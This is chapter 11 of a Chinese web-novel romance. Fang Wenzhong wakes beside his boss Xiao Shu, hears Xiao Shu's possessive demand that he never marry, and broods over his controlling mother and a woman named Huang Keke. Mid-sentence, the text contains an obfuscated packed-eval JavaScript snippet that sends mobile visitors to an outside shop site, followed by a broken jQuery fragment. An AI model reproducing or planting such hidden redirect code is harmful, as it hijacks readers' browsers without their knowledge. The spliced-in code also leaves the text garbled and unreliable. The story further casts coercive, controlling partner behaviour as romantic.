11. 第 11 章
    放纵了一夜的代价就是第二天两个人都起不来床!

    萧疏和方闻钟一起挤在他一米五的小床上,男人的胳膊还紧紧环绕着他,大腿搭在他身上,因为扔掉了眼镜,萧疏的头发有几缕落在额角,显得随意又性感。

    男人这幅慵懒的姿态让方闻钟看入迷了。

    这里真是委屈了睡床最小都要睡两米的萧总!可方闻钟看着看着,就忍不住勾起嘴角。

    他笑起来时不小心咳了一下,这一下就觉得嗓子越来越哑,一张口,那声音简直听不得……方闻钟后知后觉地想起来,昨晚半夜,他们闹出来的动静,萧疏逼着他叫出来的样子,不知道房子隔不隔音啊,会不会被隔壁听到?

    他羞得脸上都快冒热气了。

    地上扔着一瓶酒,那是昨晚萧疏逼他喝的,一到床上方闻钟就感觉到了风雨欲来的架势,萧疏压根不给他解释的时间,或者看方闻钟这么乖,这么配合。

    估计也很快知道了情况没他想的那么糟,以萧疏的敏锐,能立马察觉到,但以萧疏的变态!也能让他装作不知道,不动声色的继续玩方闻钟!

    甜腻的果酒从他嘴角溢出来,流过脖子,胸膛。

    最后全被萧疏舔走了。

    他用嘴给他喂,方闻钟舌头推搡拒绝,那瓶酒他和萧疏都喝了一半。

    方闻钟不知道萧疏为什么突然在床上玩得这么开,这么疯,可是他隐约察觉到了他强势控制背后的占有欲!对方闻钟的说一不二!

    两人躺在床上,一看时间七点多了,方闻钟全身散架般,但还要把萧总叫起来。

    让工作狂今天去上班吧!他要请假!

    萧疏被推醒!眼睛迷茫了一瞬,就当方闻钟以为他会很快恢复过来,又当无懈可击的萧总,就见萧疏皱着眉头,眼皮几开几合,又闭上了。

    还把他抱更紧了一点,埋在他发间深深的吸了一口气。

    “方闻钟,你臭死了。”

    萧疏忽然说:“一身酒味。”

    方闻钟死鱼眼,“萧总,你能不能先闻闻你自己!”

    萧疏低低地笑了,越笑声音越大,他轻微地抖着,震的方闻钟全身皮肤发痒,试图躲开他。

    这下萧疏一下松开他,翻身起身下床。

    他自在地穿衣服,打开衣柜看到上次方闻钟穿来的他的一套衣服,先去卫生间冼了个澡,再准备出来换。

    听着小小空间里传出来的流水声,方闻钟感觉一切像做梦一样。

    他做梦都不敢这样想,萧疏在他的小出租屋里,和他温存。

    很快,穿好一身衣服的萧总看起来就有点距离感了,他慢条斯理地擦着自己可怜的镜片,然后戴起来,转头一看方闻钟,毛茸茸的像一个年纪不大的大男孩儿。

    他笑了一下,“我先走了,你下午再来公司。”

    萧疏似乎不用他再解释,昨晚在床间,方闻钟也断断续续地跟他解释了几句:黄可可只见过两三次,上次是有事,这次是帮他妈妈送东西,他和他妈妈关系不好,有些误会,他和黄可可没关系……

    他没有背着他干什么见不得人的事。

    他也没有骗他,昨晚正好忙完乔晟的事,黄可可和他就先后来了。

    ……

    眼见萧疏要走,方闻钟下意识地脚步跟着他上前一步。

    萧疏余光看到,就朝他招了招手,人到面前,他虚虚抱着他,说出来的话却狠毒又无理。

    “方闻钟,家里催促,想过最近结婚吗?”

    方闻钟垂着头不作答。

    他说:“我不允许,我们之间,只有我先说不的权力,在你属于我的时候,我不允许任何人接触你、弄脏你。”

    咬耳朵的话语,像要把方闻钟的灵魂都钉在那里!“将床事和其他事分开,我们都做得到,所以我给你自由,但最好别背叛我,别生出别的什么不该有的想法。”

    “你和女人结婚,属于骗婚知道吗?”

    方闻钟一颗心往下坠了又坠,他忍不住怼他,“那你就不属于吗。”

    回答他的是萧疏抬起头来,冷漠的目光眨也不眨地看着他。

    方闻钟偏了一下头,“所以你的意思是,只有你先结婚,我们才可能结束,而我想要结婚,”他被萧疏捂住了嘴。

    察觉到气氛不对,方闻钟在他面前使小性子,“那我妈催了怎么办?”他妈可是能干出来越来越匪夷所思的事。

    对这个好像萧疏也没办法,他拧着眉,思索了片刻,最终不要脸地说:“这是你自己的问题,你自己解决,我不方便掺和到你家里去。”

    方闻钟在心里嘲笑他,实际上没多大感觉,也不怎么失望。

    这一切不就是能想到的,本来的样子吗。

    “结婚的事,”他刚开了个口,萧疏又打断他,“方闻钟,我再警告你一遍,你是我的,在我不要你之前,你想都不要想。”

    方闻钟几乎都要气死!

    是,到时候你说结婚就结婚!那我呢!

    我以后怎么办!

    我现在该怎么办!

    他的人生又不是只有活到三十三岁!不是活到他萧疏结婚就完了!

    萧疏,以前都没这么发现,你可真他妈混蛋啊!

    眼泪都激出来,可还是没骂他,谁叫他爱他呢,谁叫在这一段交易里,他付出了感情,就总是处于失败的一方。

    萧疏亲了亲他,脸上已经一切如常,我不会不要你的,这句话太轻了,方闻钟没听到,只听到后面的话,“我能做到身边一直只有你一个人,你也能做到对吗,结婚的事,你先处理,处理不了我帮你解决。”

    他似是已下定决心,方闻钟有点不敢想,他的解决是什么雷霆手段。

    他不再提以后他结婚了方闻钟怎么办的问题,方闻钟也不提、不想。

    左右他真不想结婚,而且,那是四五年后的事情了,就让他当一个没有脑子只会享乐的鸵鸟,好不好。

    萧疏彻底走了,方闻钟难免再想起他和方老师之间的问题,以及牵扯进来的黄可可。

    那天,黄可可找他说话,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710965|144550||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一开始,她也说方老师的各种不容易,她老了,在那边好久见不到方闻钟,也会想他,关心他。

    方闻钟有多久没回过家,并不知道方老师每天面对什么。

    枯燥的照顾瘫痪在床的人一天,没有人跟她说话,没人替她排忧解难,而要面对的打交道的人,又人人对她指手画脚,明里暗里说她家里的事,孩子没成婚没着落,是不是不管她了……

    方老师的一切都有原因。

    方闻钟听了只觉得浑身憋闷,又痛又想吼出来!

    他无法对母亲说出更重的话,在命运突然到来的灾难里,他们两个都是受害者,她总是嫌弃他,话少、老实、不会做人,可方闻钟从上高中开始就要打工挣钱,还要努力学习!他又哪来的机会像普通学生一样玩乐交际!

    他不受她控制,他们越来越远,不还是为了能独立生活,尽量减少负担从而支撑着彼时摇摇欲坠的家吗。

    他的痛苦、解释,不应该对着黄可可!

    所以他严厉地说那又和你有什么关系?

    黄可可被他的冷漠震惊到了,方闻钟不再给她留脸面,戳破她的小心思,虽然是方老师率先欺骗了她,让她以为方闻钟对她也有意,才做出那样不礼貌的事!

    可还不是因为她自己怀揣着私心,她有什么资格不经过方闻钟的同意,“落落大方”地站在他妈那边,感同身受!声讨他!入侵他的隐私!

    还有,父母就可以随意让外人打开孩子的家门吗!

    父母就可以像个小偷又像个监视者,窥视孩子的每一寸隐私吗!

    方闻钟从不这么认为,所以不管从哪方面讲,黄可可那天伙同方老师的行为,都让方闻钟极其厌恶!

    被自己的男神那样狠厉地批评过,黄可可哭得泪如雨下,直打嗝。

    一直在说我错了,我错了,她想尽一切办法朝方闻钟道歉,哪怕从此以后和方闻钟再无干系,也不希望方闻钟如这一刻那么讨厌她。

    方闻钟原谅了她。

    但没再说以后。

    那瓶腌肉放在冰箱好几天,方闻钟没动过,一是很少做饭,还不知如何做,二是,他看到,就忍不住皱眉,烦躁的情绪一瞬间就能让他心情不好。

    他拉开拉环,冰凉的一口啤酒灌下去。

    在萧疏身边,除了学会做事,还学会了一点看透人心。

    这一刻,他冷冰冰地站在旁观者的角度,跳出和方老师的亲情关系,想:方老师,并不渴望他结婚,从而幸福!她只不过是通过逼迫、控制他走上她想要的路,从而在他身上找到生活的重心和存在感。

    说白了就是闲的。

    方闻钟苦笑了一声,母子关系处到这个份上,真是没用。

    让问题更僵的,还有他在逃避。

    或许可以解决一定问题,但是之后呢,如何和母亲说,他在人生大事上,走向了一条看不到前途的不归路。

    到时候争吵只会更愤怒吧。

    他颓唐地坐在沙发上,再也没有公司里雷厉风行的样子。